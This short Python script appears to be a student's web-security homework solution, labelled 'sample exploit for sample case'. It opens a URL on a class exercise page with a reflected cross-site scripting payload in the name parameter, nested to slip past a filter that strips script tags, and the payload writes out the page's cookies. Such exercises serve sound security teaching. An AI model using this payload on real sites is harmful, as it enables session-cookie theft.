#sample exploit for sample case

import urllib, urllib2, cookielib

import requests

# do POST to the form

url_2 = 'http://www.wsb.com/Homework3/case08.php?name=%3Cscri%3Cscript%3Ept%3Edocument.write%28document.cookie%29%3C%2Fscript%3E'

import webbrowser

webbrowser.open(url_2)